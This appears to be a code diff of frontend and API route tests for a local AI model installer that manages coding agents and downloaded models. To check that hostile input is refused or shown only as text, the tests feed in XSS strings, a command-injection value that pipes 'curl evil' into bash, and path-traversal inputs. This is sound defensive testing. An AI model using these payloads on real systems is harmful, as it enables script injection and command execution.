+    const main = frameOf(page.body).querySelector<HTMLButtonElement>('.lm-buttons .wt-btn-primary')!;
+    expect([main.textContent, main.disabled]).toEqual(['Installing Pi', true]);
+    // The model is as it was: still installed, still running.
+    expect(page.body.dataset.screen).toBe('installed');
+    expect(texts(page.body, '.lm-state-text')).toEqual(['Running']);
+
+    // The installer landed: the next poll says so, and the same chip now starts a session.
+    serve(
+      withAgents(
+        AGENTS.map((row) =>
+          row.cli === 'pi'
+            ? {
+                cli: 'pi',
+                cliLabel: 'Pi',
+                default: false,
+                status: 'ready' as const,
+                actions: ['start-session' as const],
+              }
+            : row
+        )
+      )
+    );
+    await page.tick();
+    expect(chips(page)).toContain('Pi');
+    expect(chosen(page)).toBe('Pi');
+    expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Start a session']);
+    const launch = launcher(app);
+    press(page.body, 'Start a session');
+    await settle();
+    expect(launch).toHaveBeenCalledWith('pi', 'local-ollama');
+  });
+
+  it('while an agent installs, a session with another agent can be started', async () => {
+    const page = mount();
+    const rows = AGENTS.map((row) => (row.cli === 'pi' ? { ...row, status: 'installing' as const, actions: [] } : row));
+    const { app } = await opened(page, withAgents(rows, { actions: INSTALLED.install.actions }));
+    expect(chosen(page)).toBe('OpenCode');
+    const launch = launcher(app);
+    press(page.body, 'Start a session');
+    await settle();
+    expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama');
+  });
+
+  it('a failed install: the server sentence on the chip that failed, the installer words folded away, and try again', async () => {
+    const page = mount();
+    const rows = AGENTS.map((row) =>
+      row.cli === 'pi'
+        ? {
+            ...row,
+            error: {
+              message: { text: LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed, vars: { cli: 'Pi' } },
+              detail: 'npm ERR! <b>network</b> request failed',
+            },
+          }
+        : row
+    );
+    await opened(page, withAgents(rows));
+    // Not shown under another agent.
+    expect(page.body.querySelector('.lm-agent-about .lm-notice')).toBeNull();
+    pick(page, 'Pi');
+    expect(texts(page.body, '.lm-agent-about .lm-notice-text')).toEqual(['Pi could not be installed.']);
+    const detail = page.body.querySelector('.lm-agent-about .lm-detail-text')!;
+    // Someone else's text: shown as text, never as markup.
+    expect(detail.textContent).toBe('npm ERR! <b>network</b> request failed');
+    expect(detail.querySelector('b')).toBeNull();
+    expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Install Pi']);
+    // The model itself has no error: the headline still says ready.
+    expect(texts(page.body, '.lm-title')).toEqual(['Qwen3.6 35B-A3B is ready on this Mac.']);
+  });
+
+  it('an agent that needs a setup of its own says where, and has nothing to press', async () => {
+    const page = mount();
+    const { app } = await opened(page, WITH_AGENTS);
+    pick(page, 'DeepSeek');
+    expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([
+      'DeepSeek needs a setup of its own. Set it up from the Run menu, then start a session with it here.',
+    ]);
+    expect(buttons(page.body)).toEqual(['Remove', 'Stop']);
+    expect(verbs(app)).toEqual([]);
+  });
+
+  it('with no agent that can be started the main button installs the default one', async () => {
+    const page = mount();
+    const rows: LocalModelHarnessRow[] = [
+      {
+        cli: 'opencode',
+        cliLabel: 'OpenCode',
+        default: true,
+        status: 'installable',
+        installCommand: 'curl -fsSL https://opencode.ai/install | bash',
+        actions: ['install'],
+      },
+    ];
+    await opened(page, withAgents(rows, { actions: ['stop', 'install', 'install-agent', 'remove'] }));
+    expect(buttons(page.body)).toEqual(['Remove', 'Stop', 'Install OpenCode']);
+    expect(texts(page.body, '.lm-command')).toEqual(['curl -fsSL https://opencode.ai/install | bash']);
+  });
+
+  it('a stopped model: Start stays the one main button, and an agent can still be installed', async () => {
+    const page = mount();
+    const rows = AGENTS.map((row) => (row.status === 'ready' ? { ...row, actions: [] } : row));
+    const { app } = await opened(
+      page,
+      withAgents(rows, { running: false, actions: ['start', 'install', 'install-agent', 'remove'] }),
+      () => ok(withAgents(rows, { running: false, actions: ['start', 'install', 'remove'] }).install)
+    );
+    expect(buttons(page.body)).toEqual(['Remove', 'Start']);
+    pick(page, 'Pi');
+    expect(buttons(page.body)).toEqual(['Remove', 'Start', 'Install Pi']);
+    const primary = frameOf(page.body).querySelectorAll('.lm-buttons .wt-btn-primary');
+    expect([...primary].map((el) => el.textContent)).toEqual(['Start']);
+    press(page.body, 'Install Pi');
+    await settle();
+    expect(verbs(app)).toEqual([['POST', '/api/local-model/agent', { cli: 'pi' }]]);
+  });
+
+  it('moves the selection with the arrow keys, Home and End, and the focus follows', async () => {
+    const page = mount();
+    await opened(page, WITH_AGENTS);
+    page.body.querySelector<HTMLElement>('.lm-agent[aria-checked="true"]')!.focus();
+    const key = (name: string) => {
+      const event = new page.dom.window.KeyboardEvent('keydown', { key: name, bubbles: true, cancelable: true });
+      page.document.activeElement!.dispatchEvent(event);
+      return event;
+    };
+    const walk: Array<[string, string]> = [
+      ['ArrowRight', 'Claude Code'],
+      ['ArrowDown', 'Pi'],
+      ['ArrowLeft', 'Claude Code'],
+      ['ArrowUp', 'OpenCode'],
+      // The ends wrap.
+      ['ArrowLeft', 'DeepSeek'],
+      ['ArrowRight', 'OpenCode'],
+      ['End', 'DeepSeek'],
+      ['Home', 'OpenCode'],
+    ];
+    for (const [name, agent] of walk) {
+      const event = key(name);
+      expect(event.defaultPrevented, name).toBe(true);
+      expect(chosen(page), name).toBe(agent);
+      const active = page.document.activeElement!;
+      expect(active.classList.contains('lm-agent'), name).toBe(true);
+      expect(active.getAttribute('aria-checked'), name).toBe('true');
+    }
+    // Any other key is left alone.
+    expect(key('a').defaultPrevented).toBe(false);
+  });
+
+  it('is not on the screen that ends an install, and not while something blocks every session', async () => {
+    const page = mount();
+    const { app, serve } = await opened(page, INSTALLING);
+    serve(WITH_AGENTS);
+    await page.tick();
+    // The install just finished in this window: one thing to do.
+    expect(page.body.querySelector('.lm-agents')).toBeNull();
+    expect(buttons(page.body)).toEqual(['Start a session']);
+    const launch = launcher(app);
+    press(page.body, 'Start a session');
+    await settle();
+    // The agent that was chosen for the install: the server's default.
+    expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama');
+
+    const blocked = mount();
+    await opened(
+      blocked,
+      withAgents(
+        AGENTS.map((row) => ({ ...row, actions: row.actions.filter((action) => action !== 'start-session') })),
+        {
+          actions: ['stop', 'install', 'remove'],
+          error: {
+            code: 'model-changed',
+            message: { text: LOCAL_MODEL_INSTALL_LABELS.errModelChanged },
+            next: 'remove',
+          },
+        }
+      )
+    );
+    expect(blocked.body.querySelector('.lm-agents')).toBeNull();
+    expect(buttons(blocked.body)).not.toContain('Start a session');
+  });
+
+  it('an agent name is text of someone else: shown as text', async () => {
+    const page = mount();
+    const rows = AGENTS.map((row) =>
+      row.cli === 'pi'
+        ? { ...row, cliLabel: '<img src=x onerror=alert(1)>', installCommand: '<script>x</script>' }
+        : row
+    );
+    await opened(page, withAgents(rows));
+    pick(page, '<img src=x onerror=alert(1)>');
+    expect(page.body.querySelector('.lm-agents img, .lm-agents script')).toBeNull();
+    expect(texts(page.body, '.lm-command')).toEqual(['<script>x</script>']);
+    expect(buttons(page.body)).toContain('Install <img src=x onerror=alert(1)>');
+  });
+
+  it('in Chinese: the label, the tags, the line and the button', async () => {
+    const page = mount({ i18n: true });
+    page.win.CodemanI18n.start();
+    page.win.CodemanI18n.configure({ language: 'zh-CN' });
+    await opened(page, WITH_AGENTS);
+    expect(texts(page.body, '.lm-agents-label')).toEqual(['开始会话时使用']);
+    expect(texts(page.body, '.lm-agent .lm-tag')).toEqual(['未安装', '需要设置']);
+    pick(page, 'Pi');
+    expect(texts(page.body, '.lm-agent-about .lm-aside')).toEqual([
+      '此 Mac 上尚未安装 Pi。Codeman 会用下面这条命令安装它：',
+    ]);
+    expect(buttons(page.body)).toContain('安装 Pi');
+  });
+
+  it('a server that lists no agents (an older one): the one agent of the install, as before', async () => {
+    const page = mount();
+    const { app } = await opened(page, INSTALLED);
+    expect(page.body.querySelector('.lm-agents')).toBeNull();
+    expect(page.body.textContent).toContain('Runs with OpenCode.');
+    const launch = launcher(app);
+    press(page.body, 'Start a session');
+    await settle();
+    expect(launch).toHaveBeenCalledWith('opencode', 'local-ollama');
+  });
+});
+
+describe('what an earlier Remove left on disk', () => {
+  const LEFT = status({}, { store: STORE_ONE, actions: ['install', 'remove'] });
+
+  it('the chooser says what the downloads still take, and deletes them after one question', async () => {
+    const page = mount();
+    const { app } = await opened(page, LEFT, () => ok(install({ store: { bytes: 0, gb: '0.0' } })));
+    expect(texts(page.body, '.lm-leftovers .lm-aside')).toEqual([
+      'Models from an earlier install still use 23.1 GB on this Mac.',
+    ]);
+    pressIn(page, '.lm-leftovers', 'Delete them');
+    await settle();
+    expect(verbs(app)).toEqual([]);
+    expect(texts(page.body, '.lm-leftovers .lm-lead')).toEqual(['Delete the downloaded models from this Mac?']);
+    expect(texts(page.body, '.lm-leftovers .lm-lib-ask .lm-aside')).toEqual(['This frees 23.1 GB.']);
+    expect(page.body.querySelector('.lm-leftovers .wt-btn-danger')!.textContent).toBe('Delete');
+    pressIn(page, '.lm-leftovers', 'Cancel');
+    await settle();
+    expect(texts(page.body, '.lm-leftovers button')).toEqual(['Delete them']);
+    pressIn(page, '.lm-leftovers', 'Delete them');
+    await settle();
+    pressIn(page, '.lm-leftovers', 'Delete');
+    await settle();
+    expect(verbs(app)).toEqual([['DELETE', '/api/local-model', { removeModel: true }]]);
+    expect(page.body.querySelector('.lm-leftovers')).toBeNull();
+    // Still the chooser: installing is what this screen is for.
+    expect(page.body.dataset.screen).toBe('choose');
+    expect(buttons(page.body)).toEqual(['Install on this Mac']);
+  });
+
+  it('is not there without something on disk, or without the server offering the removal', async () => {
+    for (const first of [
+      IDLE,
+      status({}, { store: { bytes: 0, gb: '0.0' }, actions: ['install', 'remove'] }),
+      status({}, { store: STORE_ONE, actions: ['install'] }),
+    ]) {
+      const page = mount();
+      await opened(page, first);
+      expect(page.body.querySelector('.lm-leftovers')).toBeNull();
+    }
+  });
+
+  it('shows on a Mac no model fits too: the space can still be freed', async () => {
+    const page = mount();
+    const answer = none('memory');
+    await opened(page, { ...answer, install: install({ store: STORE_ONE, actions: ['remove'] }) });
+    expect(page.body.dataset.screen).toBe('none');
+    expect(texts(page.body, '.lm-leftovers .lm-aside')).toEqual([
+      'Models from an earlier install still use 23.1 GB on this Mac.',
+    ]);
+  });
+});
+
+describe('the models on this Mac: text of someone else, another language, an unchanged answer', () => {
+  it('a model name is text, in the row, in its question and in the labels of its buttons', async () => {
+    const HOSTILE = '<img src=x onerror="window.__pwned=1">';
+    const page = mount();
+    const rows: LocalModelLibraryRow[] = [QWEN_ROW, { ...GPT_ROW, id: `evil:1b`, label: `Model ${HOSTILE}` }];
+    await opened(page, status({}, { ...TWO.install, library: rows, folder: `/tmp/${HOSTILE}` }));
+    pressIn(page, '.lm-lib-row', 'Delete');
+    await settle();
+    expect(page.document.querySelectorAll('img, script, iframe')).toHaveLength(0);
+    expect((page.win as unknown as { __pwned?: number }).__pwned).toBeUndefined();
+    expect(texts(page.body, '.lm-lib-ask .lm-lead')).toEqual([`Delete Model ${HOSTILE} from this Mac?`]);
+  });
+
+  it('is translated when the language changes, the names staying as sent', async () => {
+    const page = mount({ i18n: true });
+    page.win.CodemanI18n.start();
+    await opened(page, TWO);
+    page.win.CodemanI18n.configure({ language: 'zh-CN' });
+    await settle();
+    expect(texts(page.body, '.lm-lib-caption-label')).toEqual(['此 Mac 上的模型']);
+    expect(texts(page.body, '.lm-lib-tag .lm-tag')).toEqual(['使用中', '就绪']);
+    expect(rowButtons(page)).toEqual(['使用', '删除']);
+    expect(texts(page.body, '.lm-lib-label')).toEqual(['Qwen3.6 35B-A3B', 'GPT-OSS 20B']);
+    expect(texts(page.body, '.lm-lib-notes .lm-aside')).toEqual(['已下载的模型在此 Mac 上占用 36.9 GB。']);
+    expect(texts(page.body, '.lm-lib-foot button')).toEqual(['添加模型']);
+  });
+
+  it('a poll that changes nothing leaves the rows and their buttons in place', async () => {
+    const page = mount();
+    await opened(page, TWO);
+    const before = page.body.querySelector('.lm-lib-row .lm-lib-actions button');
+    await page.tick();
+    await page.tick();
+    expect(page.body.querySelector('.lm-lib-row .lm-lib-actions button')).toBe(before);
+  });
+
+  it('the focus stays on the row button it was on when the list is repainted', async () => {
+    const page = mount();
+    const { app, serve } = await opened(page, TWO);
+    const remove = [...page.body.querySelectorAll<HTMLButtonElement>('.lm-lib-row .lm-lib-actions button')][1];
+    remove.focus();
+    serve(status({}, { ...TWO.install, store: { bytes: 36899240384, gb: '36.9' }, port: 11436 }));
+    await app.loadLocalModel({ force: true });
+    const active = page.document.activeElement as HTMLElement;
+    expect(active.textContent).toBe('Delete');
+    expect(active.dataset.lmKey).toBe('delete:gpt-oss:20b');
+    expect(active).not.toBe(remove);
+  });
+});

test/routes/local-model-routes.test.ts

@@ -155,6 +155,8 @@ const IDLE_VIEW: LocalModelInstallView = {
   developerTools: 'missing',
   runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' },
   folder: '/Users/me/.codeman/local-model',
+  library: [],
+  harnesses: [],
   actions: ['install'],
 };
 
@@ -182,6 +184,9 @@ function fakeService(): ServiceMock {
     launchRefusalMessage: vi.fn(async () => undefined),
     recommendOptions: vi.fn(async () => ({ runtimeDownloadBytes: 185971671 })),
     install: vi.fn(async () => OK_RESULT),
+    use: vi.fn(async () => OK_RESULT),
+    deleteLibraryModel: vi.fn(async () => OK_RESULT),
+    installAgent: vi.fn(async () => OK_RESULT),
     cancel: vi.fn(async () => OK_RESULT),
     resume: vi.fn(async () => OK_RESULT),
     runtime: vi.fn(async () => OK_RESULT),
@@ -281,8 +286,21 @@ describe('GET /api/local-model', () => {
     const res = await get(f.deps);
     expect(res.json().data.install).toEqual(INSTALLING_VIEW);
     expect(f.service.view).toHaveBeenCalledTimes(1);
+    // The facts built for the recommendation are the ones the view lists its coding agents
+    // from: the availability probe is asked once per answer, not twice.
+    expect(f.service.view).toHaveBeenCalledWith({ harnessFacts: FACTS });
+    expect(f.buildHarnessFacts).toHaveBeenCalledTimes(1);
     // Looking is not doing: no verb of the service was called.
-    for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) {
+    for (const verb of [
+      'install',
+      'installAgent',
+      'cancel',
+      'resume',
+      'runtime',
+      'remove',
+      'boot',
+      'shutdown',
+    ] as const) {
       expect(f.service[verb]).not.toHaveBeenCalled();
     }
   });
@@ -555,6 +573,14 @@ describe('the install verbs', () => {
   /** Every verb as a request, with a body the route accepts. */
   const VERBS = [
     { name: 'install', method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY },
+    { name: 'use', method: 'POST', url: '/api/local-model/use', payload: { modelId: 'qwen3.8:27b' } },
+    {
+      name: 'deleteLibraryModel',
+      method: 'DELETE',
+      url: '/api/local-model/models',
+      payload: { modelId: 'qwen3.8:27b' },
+    },
+    { name: 'installAgent', method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } },
     { name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined },
     { name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} },
     { name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } },
@@ -654,7 +680,18 @@ describe('the install verbs', () => {
       const f = fakes();
       const { app } = await harness(f.deps, { username: 'alice', role: 'admin' });
       await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
-      expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' });
+      expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' }, []);
+    });
+
+    it('hands the service the names of the live sessions on the model: another model would take the runtime from them', async () => {
+      const f = fakes();
+      const { app } = await harness(f.deps, undefined, [
+        { name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
+        { name: 'w2-app' },
+        { name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
+      ]);
+      await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
+      expect(f.service.install.mock.calls[0][2]).toEqual(['w1-app']);
     });
 
     it('a row the server does not offer is a 400 with the service own sentence, as text and as data', async () => {
@@ -925,6 +962,238 @@ describe('the install verbs', () => {
   });
 });
 
+describe('the library verbs', () => {
+  const SESSIONS: SessionLike[] = [
+    { name: 'w1-app', customModel: { endpointId: 'local-ollama' } },
+    { name: 'w2-app' },
+    { name: 'w3-lib', customModel: { endpointId: 'office-gpu' } },
+  ];
+
+  describe('POST /api/local-model/use', () => {
+    it('hands the service the model, who asked and the live sessions on the model', async () => {
+      const f = fakes();
+      const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS);
+      await app.inject({ method: 'POST', url: '/api/local-model/use', payload: { modelId: 'gpt-oss:20b' } });
+      expect(f.service.use).toHaveBeenCalledWith({ modelId: 'gpt-oss:20b' }, { username: 'alice', ip: '127.0.0.1' }, [
+        'w1-app',
+      ]);
+    });
+
+    it('a model that is not one of the checked ones is a 400 with the sentence, as text and as data', async () => {
+      const f = fakes();
+      f.service.use.mockResolvedValue({
+        ok: false,
+        status: 400,
+        message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedNotInLibrary },
+      });
+      const { app } = await harness(f.deps);
+      const res = await app.inject({ method: 'POST', url: '/api/local-model/use', payload: { modelId: 'x:1b' } });
+      expect(res.statusCode).toBe(400);
+      expect(res.json()).toEqual({
+        success: false,
+        error: 'This model is not one of the checked models on this Mac.',
+        errorCode: 'INVALID_INPUT',
+        data: { message: { text: 'This model is not one of the checked models on this Mac.' } },
+      });
+    });
+
+    it.each([
+      ['no body', undefined],
+      ['no model', {}],
+      ['a path', { modelId: '../../etc/passwd' }],
+      ['another registry', { modelId: 'hf.co/someone/model:Q4' }],
+      ['a member it does not know', { modelId: 'gpt-oss:20b', context: 65536 }],
+    ])('refuses %s before the service is asked', async (_name, payload) => {
+      const f = fakes();
+      const { app } = await harness(f.deps);
+      const res = await app.inject({ method: 'POST', url: '/api/local-model/use', ...(payload ? { payload } : {}) });
+      expect(res.statusCode).toBe(400);
+      expect(f.service.use).not.toHaveBeenCalled();
+    });
+  });
+
+  describe('POST /api/local-model/agent', () => {
+    it('hands the service the coding agent and who asked, and looks at no session', async () => {
+      const f = fakes();
+      const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS);
+      await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
+      // Nothing about the model in use changes, so live sessions on it do not matter.
+      expect(f.service.installAgent).toHaveBeenCalledWith({ cli: 'pi' }, { username: 'alice', ip: '127.0.0.1' });
+    });
+
+    it('an agent the server does not offer is a 400 with the sentence, as text and as data', async () => {
+      const f = fakes();
+      f.service.installAgent.mockResolvedValue({
+        ok: false,
+        status: 400,
+        message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'DeepSeek' } },
+      });
+      const { app } = await harness(f.deps);
+      const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'deepseek' } });
+      expect(res.statusCode).toBe(400);
+      expect(res.json()).toEqual({
+        success: false,
+        error: 'DeepSeek is not installed and cannot be installed from here.',
+        errorCode: 'INVALID_INPUT',
+        data: {
+          message: {
+            text: '{cli} is not installed and cannot be installed from here.',
+            vars: { cli: 'DeepSeek' },
+          },
+        },
+      });
+    });
+
+    it('an installer that already runs is a 409 with the reason', async () => {
+      const f = fakes();
+      f.service.installAgent.mockResolvedValue({
+        ok: false,
+        status: 409,
+        conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } },
+      });
+      const { app } = await harness(f.deps);
+      const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } });
+      expect(res.statusCode).toBe(409);
+      expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT', data: { reason: 'job-running' } });
+    });
+
+    it.each([
+      ['no body', undefined],
+      ['no agent', {}],
+      ['a command', { cli: 'pi; curl evil | bash' }],
+      ['a path', { cli: '../bin/sh' }],
+      ['an upper-case id', { cli: 'Pi' }],
+      ['a command of its own', { cli: 'pi', command: 'npm install -g evil' }],
+    ])('refuses %s before the service is asked', async (_name, payload) => {
+      const f = fakes();
+      const { app } = await harness(f.deps);
+      const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', ...(payload ? { payload } : {}) });
+      expect(res.statusCode).toBe(400);
+      expect(f.service.installAgent).not.toHaveBeenCalled();
+    });
+  });
+
+  describe('DELETE /api/local-model/models', () => {
+    it('hands the service the model name and who asked', async () => {
+      const f = fakes();
+      const { app } = await harness(f.deps, { username: 'alice', role: 'admin' });
+      await app.inject({ method: 'DELETE', url: '/api/local-model/models', payload: { modelId: 'gpt-oss:20b' } });
+      expect(f.service.deleteLibraryModel).toHaveBeenCalledWith(
+        { modelId: 'gpt-oss:20b' },
+        { username: 'alice', ip: '127.0.0.1' }
+      );
+      // The whole installation is another route: it was not asked.
+      expect(f.service.remove).not.toHaveBeenCalled();
+    });
+
+    it.each([
+      ['no body', undefined],
+      ['a path', { modelId: '/Users/me/.codeman/local-model/models' }],
+      ['a path that climbs', { modelId: '../../etc/passwd' }],
+      ['a name with a slash', { modelId: 'library/qwen3.8:27b' }],
+      ['a name without a tag', { modelId: 'qwen3.8' }],
+      ['a path member', { modelId: 'gpt-oss:20b', path: '/' }],
+    ])('takes a model name and nothing else: refuses %s', async (_name, payload) => {
+      const f = fakes();
+      const { app } = await harness(f.deps);
+      const res = await app.inject({
+        method: 'DELETE',
+        url: '/api/local-model/models',
+        ...(payload ? { payload } : {}),
+      });
+      expect(res.statusCode).toBe(400);
+      expect(f.service.deleteLibraryModel).not.toHaveBeenCalled();
+    });
+
+    it('the model in use: 409 with the reason and the sentence', async () => {
+      const f = fakes();
+      f.service.deleteLibraryModel.mockResolvedValue({
+        ok: false,
+        status: 409,
+        conflict: {
+          reason: 'model-active',
+          message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictModelActive, vars: { model: 'Qwen3.8 27B' } },
+        },
+      });
+      const { app } = await harness(f.deps);
+      const res = await app.inject({
+        method: 'DELETE',
+        url: '/api/local-model/models',
+        payload: { modelId: 'qwen3.8:27b' },
+      });
+      expect(res.statusCode).toBe(409);
+      expect(res.json()).toEqual({
+        success: false,
+        error: 'Qwen3.8 27B is the model in use. Switch to another model first, or remove the local model.',
+        errorCode: 'CONFLICT',
+        data: {
+          reason: 'model-active',
+          message: {
+            text: '{model} is the model in use. Switch to another model first, or remove the local model.',
+            vars: { model: 'Qwen3.8 27B' },
+          },
+        },
+      });
+    });
+
+    it('a runtime that did not delete it: 500 with the sentence, as text and as data', async () => {
+      const f = fakes();
+      f.service.deleteLibraryModel.mockResolvedValue({
+        ok: false,
+        status: 500,
+        message: { text: LOCAL_MODEL_INSTALL_LABELS.deleteFailed, vars: { model: 'GPT-OSS 20B' } },
+      });
+      const { app } = await harness(f.deps);
+      const res = await app.inject({
+        method: 'DELETE',
+        url: '/api/local-model/models',
+        payload: { modelId: 'gpt-oss:20b' },
+      });
+      expect(res.statusCode).toBe(500);
+      expect(res.json()).toEqual({
+        success: false,
+        error: 'GPT-OSS 20B could not be deleted from this Mac.',
+        errorCode: 'OPERATION_FAILED',
+        data: { message: { text: '{model} could not be deleted from this Mac.', vars: { model: 'GPT-OSS 20B' } } },
+      });
+    });
+  });
+
+  describe('GET /api/local-model marks the rows that are already on this Mac', () => {
+    it('the model in use and a model a switch can take, at the context they were checked with', async () => {
+      const second = { ...OK.pick!, modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B', context: 65536 };
+      const third = { ...OK.pick!, modelId: 'mimo-v2.6:9b-q4_k_m', modelLabel: 'MiMo V2.6 9B' };
+      const f = fakes(MAC, { ...OK, alternatives: [second, third] });
+      const row = (id: string, context: number, active: boolean) => ({
+        id,
+        label: id,
+        context,
+        active,
+        verified: true,
+        status: 'ready' as const,
+        actions: active ? [] : ['use' as const],
+      });
+      f.service.view.mockResolvedValue({
+        ...IDLE_VIEW,
+        state: 'installed',
+        library: [row(OK.pick!.modelId, OK.pick!.context, true), row('gpt-oss:20b', 65536, false)],
+        actions: ['start-session', 'stop', 'install', 'use', 'remove'],
+      });
+      const data = (await get(f.deps)).json().data;
+      expect(data.recommendation.pick.library).toBe('active');
+      expect(data.recommendation.alternatives[0].library).toBe('ready');
+      expect(data.recommendation.alternatives[1]).not.toHaveProperty('library');
+      // What recommend() answered is not written to.
+      expect(OK.pick).not.toHaveProperty('library');
+    });
+
+    it('with nothing on this Mac no row carries the mark', async () => {
+      const data = (await get(fakes().deps)).json().data;
+      expect(data.recommendation.pick).not.toHaveProperty('library');
+    });
+  });
+});
+
 describe('the routes over the real install service', () => {
   const STATE = () => dataPath('local-model.json');